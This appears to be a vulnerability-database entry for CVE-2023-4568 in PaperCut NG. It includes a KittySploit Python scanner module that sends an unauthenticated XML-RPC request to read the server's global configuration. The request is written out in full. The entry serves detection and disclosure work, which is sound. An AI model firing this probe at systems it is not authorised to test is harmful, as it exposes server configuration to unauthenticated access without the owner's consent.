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PaperCut NG Unauthenticated XMLRPC Functionality Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

PaperCut NG allows unauthenticated XMLRPC commands to be run by default.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Authentication in Papercut Papercut_Ng
20 May 202417:41
–githubexploit
bdu_fstec
BDU FSTEC
PaperCut NG XML-RPC Arbitrary Command Execution
17 Sep 202300:00
–bdu_fstec
circl
Circl
CVE-2023-4568
14 Sep 202300:23
–circl
cnnvd
CNNVD
PaperCut NG Authorization Issues Vulnerability
13 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-4568
13 Sep 202320:28
–cve
cvelist
Cvelist
CVE-2023-4568 PaperCut NG Unauthenticated XMLRPC
13 Sep 202320:28
–cvelist
kitploit
Kitploit
CVE-2023-4568
18 Oct 202616:46
–kitploit
nuclei
Nuclei
PaperCut NG Unauthenticated XMLRPC Functionality
17 Oct 202602:05
–nuclei
nvd
NVD
CVE-2023-4568
13 Sep 202321:15
–nvd
osv_cve
osv_cve
CVE-2023-4568
13 Sep 202321:15
–osv_cve
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""PaperCut NG allows for unauthenticated XMLRPC commands to be run by default."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'PaperCut NG Unauthenticated XMLRPC Functionality Detection',
        'description': 'PaperCut NG allows for unauthenticated XMLRPC commands to be run by default. Versions 22.0.12 and below are confirmed to be affected, but later versions may also be affected due to lack of a vendor supplied patch.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve2023', 'cve', 'unauth', 'papercut', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-4568',
            'https://www.tenable.com/security/research/tra-2023-31',
        ],
        'cve': 'CVE-2023-4568',
    }

    def run(self):
        path = '/rpc/clients/xmlrpc'
        r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'text/xml'}, data='<?xml version="1.0"?><methodCall><methodName>client.getGlobalConfig</methodName><params><param><value><string>str1</string></value></param><param><value><string>str2</string></value></param></params></methodCall>\n')
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('conf.ssl-port', 'conf.auth-ttl-default',)
        header_any = ('text/xml',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(severity='medium', reason='PaperCut NG Unauthenticated XMLRPC Functionality detected', path=path)
            return True
        return False

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28 Jul 2026 11:27Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.16.5
EPSS0.03885
SSVC
2